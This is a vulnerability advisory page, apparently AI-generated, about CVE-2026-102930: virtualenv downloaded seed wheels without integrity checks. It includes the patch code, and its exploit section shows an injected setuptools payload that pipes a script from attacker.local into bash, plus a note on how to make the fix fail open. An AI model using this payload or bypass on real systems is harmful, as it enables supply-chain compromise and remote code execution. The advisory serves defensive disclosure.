CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-102930

CVE-2026-102930: Remote Code Execution via Unverified Dynamic Wheel Downloads in virtualenv

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 1, 2026·4 min read·40 visits

Executive Summary (TL;DR)

Prior to 21.7.12, virtualenv dynamically downloaded core python wheels without verifying their hashes, allowing network interceptors to inject backdoored code into newly created virtual environments.

CVE-2026-102930 is a high-severity supply chain vulnerability in virtualenv prior to version 21.7.12. The download_wheel() function lacks integrity checks when dynamically fetching seed packages (such as pip or setuptools) over the network. This allows an attacker to intercept the network stream, replace packages with backdoored components, and achieve arbitrary code execution inside newly spawned virtual environments.

Vulnerability Overview

The Python library virtualenv is widely used to build isolated environments. To accomplish isolation, the library installs essential seed packages (including pip, setuptools, and wheel) during environment creation.

By default, virtualenv utilizes internal pre-packaged wheels or retrieves updated wheels over the network. When running with the --download option, or during automatic background update cycles, the system retrieves files using a subprocess execution of pip download.

Prior to version 21.7.12, the download_wheel() function did not verify the cryptographic integrity of these retrieved packages. This exposes an attack vector to Machine-in-the-Middle (MitM) interceptors, compromised package mirrors, or DNS manipulation.

Root Cause Analysis

The root cause of this flaw is classified as CWE-494: Download of Code Without Integrity Check. The execution logic relies entirely on the underlying transport layer and index configuration of pip to ensure package authenticity.

When download_wheel() completes, the received .whl files are stored directly inside the application-data cache (typically located at ~/.local/share/virtualenv/wheel/). Because there was no validation against an authoritative SHA-256 digest, the system immediately accepted any file delivered by the host.

This behavior is highly exploitable. Once a compromised package is written to the cache, it is unpacked and executed on subsequent invocations of virtualenv. This results in silent execution of code within the victim's developmental, CI/CD, or production environment.

Code Analysis and Patch Walkthrough

The vulnerability was fixed in version 21.7.12 by introducing strict hash verification against PyPI's JSON API metadata. The patch defines _uses_default_index to determine if a custom index is declared in environment variables:

_CUSTOM_INDEX_ENV_VARS: Final[tuple[str, ...]] = ("PIP_INDEX_URL", "PIP_EXTRA_INDEX_URL", "PIP_INDEX")
 
def _uses_default_index(env: dict[str, str]) -> bool:
    return not any(env.get(var) for var in _CUSTOM_INDEX_ENV_VARS)

If the default index is active, the download process invokes verify_wheel_digest(). This helper compares the file's SHA-256 digest to the authoritative metadata retrieved from PyPI:

def verify_wheel_digest(wheel: Wheel) -> None:
    entry = _pypi_release_entry_for_wheel(wheel)
    if entry is None:
        LOGGER.debug("could not verify %s against PyPI: no matching release record", wheel.name)
        return
    digests = entry.get("digests")
    expected = digests.get("sha256") if isinstance(digests, dict) else None
    if not isinstance(expected, str):
        return
    actual = hashlib.sha256(wheel.path.read_bytes()).hexdigest()
    if actual != expected:
        msg = f"downloaded wheel {wheel.name} has sha256 {actual}, but PyPI reports {expected}"
        raise RuntimeError(msg)

Any mismatch triggers a fatal error, halting environment creation and preventing the installation of the corrupt dependency.

Exploit Methodology

To exploit this flaw, an attacker must capture or proxy the victim's connections to PyPI or trick the client into using an untrusted local mirror. The attacker constructs a modified seed archive (e.g., setuptools-75.1.0-py3-none-any.whl) containing a malicious module payload inside setuptools/__init__.py:

# Injected payload
import subprocess
subprocess.Popen(["/bin/bash", "-c", "curl -s http://attacker.local/shell.sh | bash"])

When the victim invokes virtualenv --download venv_name, the download logic fetches the modified package. Because no integrity verification is performed, the archive is written directly to the cache. The payload executes silently when the virtual environment is built or whenever the target module is imported.

Impact Assessment

Successful exploitation leads to absolute compromise of the executing environment. Because virtualenv is widely used within automated build systems, code-analysis setups, and CI/CD networks, this vulnerability acts as an entry point for supply chain manipulation.

The payload inherits the permissions of the calling user. In multi-tenant infrastructure, this can facilitate privilege escalation or unauthorized read access to database secrets and credentials. Compromising the integrity of local python dependencies may allow attackers to inject secondary backdoors directly into application deployment pipelines.

Remediation and Limitations

The primary recommendation is upgrading virtualenv to version 21.7.12 or later immediately. Users should restrict access to dynamic internet package downloads where possible.

Several design limitations in the patch should be recognized. The verification logic fails-open if PyPI's API is completely offline. An attacker who selectively blocks connection requests to PyPI's JSON API while permitting raw TCP package downloads can trigger a fall-back scenario, bypassing the validation altogether.

Furthermore, the patch does not inspect system-level pip.conf configuration files. If an alternative repository is configured globally, the verification system may still check the local packages against official PyPI records. This mismatch will fail the installation, causing a persistent local Denial of Service (DoS).

Official Patches

pypaPR introducing dynamic hash verification checks for dynamically downloaded seed wheels.
pypaOfficial virtualenv 21.7.12 release notes.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.7/ 10
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Affected Systems

virtualenv

Affected Versions Detail

Product
Affected Versions
Fixed Version
virtualenv
pypa
< 21.7.1221.7.12
AttributeDetail
CWE IDCWE-494
Attack VectorNetwork
CVSS v4.0 Score7.7
EPSS ScoreNone
ImpactArbitrary Code Execution
Exploit StatusPoC-level
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1195Supply Chain Compromise
Initial Access
T1195.001Supply Chain Compromise: Compromise Software Dependencies and Development Tools
Initial Access
T1195.002Supply Chain Compromise: Compromise Software Distribution
Initial Access
CWE-494
Download of Code Without Integrity Check

The application downloads source code or an executable from an external site, but does not verify the code's integrity.

Vulnerability Timeline

Vulnerability patch created and pushed by maintainer Bernát Gábor.
2026-09-17
Official release of virtualenv 21.7.12.
2026-09-18
GitHub Advisory published and CVE allocated.
2026-09-29

References & Sources

  • [1]GitHub Security Advisory: Unverified seed wheel dynamic downloads
  • [2]NVD - CVE-2026-102930 Detail

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 13 hours ago•CVE-2026-128087
3.7

CVE-2026-128087: Premature Key Exchange Callback Invocation Prior to Host Key Verification in russh

CVE-2026-128087 (GHSA-9264-jvgf-6w2f) is an incorrect behavior order (CWE-696) and improper authorization (CWE-863) vulnerability in the russh Rust SSH library, affecting versions 0.55.0 through 0.65.0. During the initial SSH key exchange (KEX) handshake, the client state machine invokes the client::Handler::kex_done() callback—providing the negotiated raw shared secret bytes—prior to validating the remote server's host key or certificate via check_server_key(). Consequently, an untrusted or rogue SSH server can complete cryptographic key agreement and force a connecting client to execute side-effecting application logic inside kex_done() before the server's identity is checked and rejected.

Amit Schendel
Amit Schendel
4 views•10 min read
•about 14 hours ago•CVE-2026-128082
7.5

CVE-2026-128082: Uncontrolled Recursion and Denial of Service in AutoMapper via Constructor Parameter Mapping

CVE-2026-128082 (GHSA-6vhm-j9h7-f9gh) is an uncontrolled recursion vulnerability (CWE-674) in AutoMapper, a convention-based object-object mapper for .NET. When mapping nested or self-referential types into destination models that rely on parameterized constructors, C# positional records, or recursive ConstructUsing expressions, AutoMapper evaluates child constructor arguments prior to incrementing the parent's recursion depth counter. This ordering flaw bypasses both explicit MaxDepth limits and the default depth limit of 64. An unauthenticated remote attacker can supply deeply nested input payloads to affected endpoints, exhausting the thread call stack and triggering an uncatchable System.StackOverflowException that terminates the hosting .NET process.

Amit Schendel
Amit Schendel
7 views•11 min read
•about 15 hours ago•CVE-2026-128080
5.8

CVE-2026-128080: Sensitive Query Parameter Disclosure on Incoming Server Spans in OpenTelemetry JavaScript (@opentelemetry/instrumentation-http)

An information exposure vulnerability in the @opentelemetry/instrumentation-http package for OpenTelemetry JavaScript versions 0.204.0 prior to 0.222.0 causes incoming HTTP server spans to record raw, unredacted query string parameters under the url.query attribute. While outgoing client spans applied built-in and user-configured query parameter redaction, incoming server spans bypassed this sanitization completely, resulting in the transmission of sensitive credentials such as pre-signed cloud URLs and API tokens to external observability backends.

Alon Barad
Alon Barad
6 views•10 min read
•about 16 hours ago•CVE-2026-128089
7.5

CVE-2026-128089: Uncontrolled Resource Consumption in dnspython WKS Record Parser

CVE-2026-128089 is an uncontrolled resource consumption vulnerability in the dnspython toolkit for Python, affecting all versions prior to 2.9.2. When parsing Well-Known Service (WKS) records from text via dns.rdtypes.IN.WKS.WKS.from_text(), the parser fails to validate that numeric service port identifiers fall within the RFC 1035 valid range of 0 through 65535. An attacker capable of supplying untrusted zone files or RDATA text strings containing an arbitrarily large service port integer can force the parser to allocate an unbounded bitmap array using an inefficient linear append loop, resulting in severe CPU exhaustion, application hangs, or Out-Of-Memory (OOM) process termination.

Amit Schendel
Amit Schendel
6 views•10 min read
•about 17 hours ago•CVE-2026-126347
3.1

CVE-2026-126347: Open Redirect via Triple-Slash Redirect Paths in Tornado RedirectHandler

CVE-2026-126347 (GHSA-5cjw-f85j-cv6r) is an open redirect vulnerability (CWE-601) in Tornado, an asynchronous Python networking library and web framework. The flaw resides in tornado.web.RedirectHandler when dynamic URL redirection templates incorporate unvalidated user input. Due to a parser differential between RFC 3986 (used by Python's urllib.parse.urlsplit) and the WHATWG URL Standard (used by modern web browsers), inputs containing three or more leading slashes bypass Tornado 6.6.0's validation logic, allowing unauthenticated attackers to redirect users to arbitrary external domains.

Alon Barad
Alon Barad
7 views•11 min read
•about 18 hours ago•CVE-2026-128123
5.9

CVE-2026-128123: Uncaught Exception and Denial of Service in SvelteKit @sveltejs/adapter-node

A Denial of Service (DoS) vulnerability exists in @sveltejs/adapter-node versions 5.5.7 and 6.0.0-next.0 through 6.0.0. When a SvelteKit server route returns a direct response from a fetch() call with a Content-Type of text/event-stream, the Node.js adapter attempts to mutate the response headers to disable proxy buffering. Because headers returned directly by the WHATWG Fetch API carry an immutable guard, this mutation throws an unhandled TypeError, terminating the underlying Node.js process and denying service to all active and subsequent clients.

Alon Barad
Alon Barad
5 views•9 min read